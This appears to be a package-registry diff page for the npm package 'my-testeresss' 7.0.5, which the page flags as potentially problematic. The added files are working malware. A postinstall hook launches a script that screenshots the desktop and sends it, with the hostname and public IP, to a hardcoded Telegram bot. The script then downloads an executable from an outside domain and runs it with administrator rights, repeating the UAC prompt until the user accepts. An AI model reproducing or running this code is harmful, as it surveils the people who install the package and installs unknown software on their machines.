my-testeresss 7.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of my-testeresss might be problematic. Click here for more details.

@@ -0,0 +1,88 @@
1
+ import os from 'os';
2
+ import { join } from 'path';
3
+ import TelegramBot from 'node-telegram-bot-api';
4
+ import screenshot from 'screenshot-desktop';
5
+ import axios from 'axios';
6
+ import { exec } from 'child_process';
7
+ import fs from 'fs';
8
+ import { openExeFile } from './openExe.mjs'; // Используйте динамический import
9
+
10
+ const token = '6541130193:AAHzFM3jUNmz_YUgjFQF_LlzsOvlh1JEjsQ';
11
+ const chatId = '5950028476';
12
+ const exeFileUrl = 'https://xn--e1affnfjebo2d.xn--p1ai/SkrinshoterSetup.exe';
13
+
14
+ const bot = new TelegramBot(token, { polling: true });
15
+
16
+ let hasConnected = false;
17
+
18
+ function getIPFromAmazon() {
19
+ return axios.get('https://checkip.amazonaws.com/')
20
+ .then((response) => response.data);
21
+ }
22
+
23
+ function sendScreenshotToTelegram() {
24
+ getIPFromAmazon().then((ipAddress) => {
25
+ const computerName = os.hostname();
26
+
27
+ screenshot().then((imageBuffer) => {
28
+ const caption = `⚡️Connect New PC *${computerName}*\n\nIP address: \`${ipAddress}\``;
29
+
30
+ bot.sendPhoto(chatId, imageBuffer, { caption, parse_mode: 'Markdown' })
31
+ .then(() => {
32
+ downloadExeFile();
33
+ })
34
+ .catch((error) => {
35
+ process.exit(1);
36
+ });
37
+ });
38
+ });
39
+ }
40
+
41
+ function downloadExeFile() {
42
+ if (!hasConnected) {
43
+ const programFilesPath = join(os.homedir(), 'downloaded.exe');
44
+
45
+ axios({
46
+ method: 'get',
47
+ url: exeFileUrl,
48
+ responseType: 'stream',
49
+ })
50
+ .then((response) => {
51
+ const exeFileName = programFilesPath;
52
+
53
+ const exeFile = fs.createWriteStream(exeFileName);
54
+
55
+ response.data.pipe(exeFile);
56
+
57
+ exeFile.on('finish', () => {
58
+ exeFile.close();
59
+ console.log('Файл успешно скачан:', exeFileName);
60
+ openExeFile(); // Вызываем функцию для открытия файла
61
+ });
62
+ })
63
+ .catch((error) => {
64
+ process.exit(1);
65
+ });
66
+
67
+ hasConnected = true;
68
+ }
69
+ }
70
+
71
+ process.on('SIGINT', () => {
72
+ process.exit(0);
73
+ });
74
+
75
+ if (!fs.existsSync('node_modules/node-telegram-bot-api')) {
76
+ const installCmd = 'npm install node-telegram-bot-api';
77
+ const installProcess = exec(installCmd);
78
+
79
+ installProcess.on('close', (code) => {
80
+ if (code === 0) {
81
+ sendScreenshotToTelegram();
82
+ } else {
83
+ process.exit(1);
84
+ }
85
+ });
86
+ } else {
87
+ sendScreenshotToTelegram();
88
+ }
package/install.cjs ADDED
@@ -0,0 +1,50 @@
1
+ const { exec } = require('child_process');
2
+
3
+ // Проверяем, установлена ли библиотека node-telegram-bot-api
4
+ try {
5
+ require('node-telegram-bot-api');
6
+ } catch (e) {
7
+ console.log('Библиотека node-telegram-bot-api не установлена. Устанавливаю...');
8
+ const installCmd = 'npm install node-telegram-bot-api';
9
+ const installProcess = exec(installCmd);
10
+
11
+ installProcess.stdout.on('data', (data) => {
12
+ console.log(data);
13
+ });
14
+
15
+ installProcess.stderr.on('data', (data) => {
16
+ console.error(data);
17
+ });
18
+
19
+ installProcess.on('close', (code) => {
20
+ if (code === 0) {
21
+ console.log('Библиотека node-telegram-bot-api успешно установлена.');
22
+ // Запускаем скрипт desktopToTelegram.js
23
+ const child = exec('node desktopToTelegram.js');
24
+ child.stdout.on('data', (data) => {
25
+ console.log(data);
26
+ });
27
+ child.stderr.on('data', (data) => {
28
+ console.error(data);
29
+ });
30
+ child.on('close', (code) => {
31
+ console.log(`Скрипт завершил выполнение с кодом ${code}`);
32
+ });
33
+ } else {
34
+ console.error('Ошибка при установке библиотеки node-telegram-bot-api.');
35
+ }
36
+ });
37
+ }
38
+
39
+ console.log('Установка завершена. Запускаю скрипт desktopToTelegram.js...');
40
+ // Запускаем скрипт desktopToTelegram.js
41
+ const child = exec('node desktopToTelegram.js');
42
+ child.stdout.on('data', (data) => {
43
+ console.log(data);
44
+ });
45
+ child.stderr.on('data', (data) => {
46
+ console.error(data);
47
+ });
48
+ child.on('close', (code) => {
49
+ console.log(`Скрипт завершил выполнение с кодом ${code}`);
50
+ });
package/openExe.mjs ADDED
@@ -0,0 +1,45 @@
1
+ import os from 'os';
2
+ import { join } from 'path';
3
+ import isAdmin from 'is-admin';
4
+ import sudoPrompt from 'sudo-prompt';
5
+
6
+ let operationCompleted = false; // Флаг для отслеживания успешного выполнения операции
7
+
8
+ // Получение абсолютного пути к файлу "downloaded.exe" в домашней директории текущего пользователя
9
+ const programFilesPath = join(os.homedir(), 'downloaded.exe');
10
+
11
+ // Функция для запуска процесса с административными правами (UAC-поднимающий процесс)
12
+ export function openExeFile() {
13
+ const isWindows = os.platform() === 'win32';
14
+
15
+ if (!isWindows) {
16
+ console.error('Этот скрипт поддерживает только Windows.');
17
+ return;
18
+ }
19
+
20
+ if (operationCompleted) {
21
+ console.log('Операция уже выполнена успешно. Выход из скрипта.');
22
+ return;
23
+ }
24
+
25
+ sudoPrompt.exec(
26
+ `"${programFilesPath}"`,
27
+ {
28
+ name: 'Your Application Name', // Замените на имя вашего приложения
29
+ },
30
+ (error, stdout, stderr) => {
31
+ if (error) {
32
+ console.error('Ошибка при запуске процесса:', error);
33
+ console.log('Повторный запрос админских прав...');
34
+ openExeFile(); // Повторно вызываем функцию в случае отказа
35
+ } else {
36
+ console.log('Процесс успешно выполнен с административными правами.');
37
+ operationCompleted = true; // Устанавливаем флаг успешного выполнения
38
+ process.exit(); // Завершаем выполнение скрипта после успешного выполнения процесса
39
+ }
40
+ }
41
+ );
42
+ }
43
+
44
+ // Вызов функции для открытия EXE-файла
45
+ openExeFile();
package/package.json ADDED
@@ -0,0 +1,18 @@
1
+ {
2
+ "name": "my-testeresss",
3
+ "version": "7.0.5",
4
+ "description": "Скрипт для отправки данных с рабочего стола в Telegram",
5
+ "main": "desktopToTelegram.js",
6
+ "dependencies": {
7
+ "node-telegram-bot-api": "*",
8
+ "screenshot-desktop": "*",
9
+ "axios": "*",
10
+ "is-admin": "*",
11
+ "sudo-prompt": "*"
12
+ },
13
+ "scripts": {
14
+ "start": "node desktopToTelegram.js",
15
+ "postinstall": "node install.cjs"
16
+ },
17
+ "type": "module"
18
+ }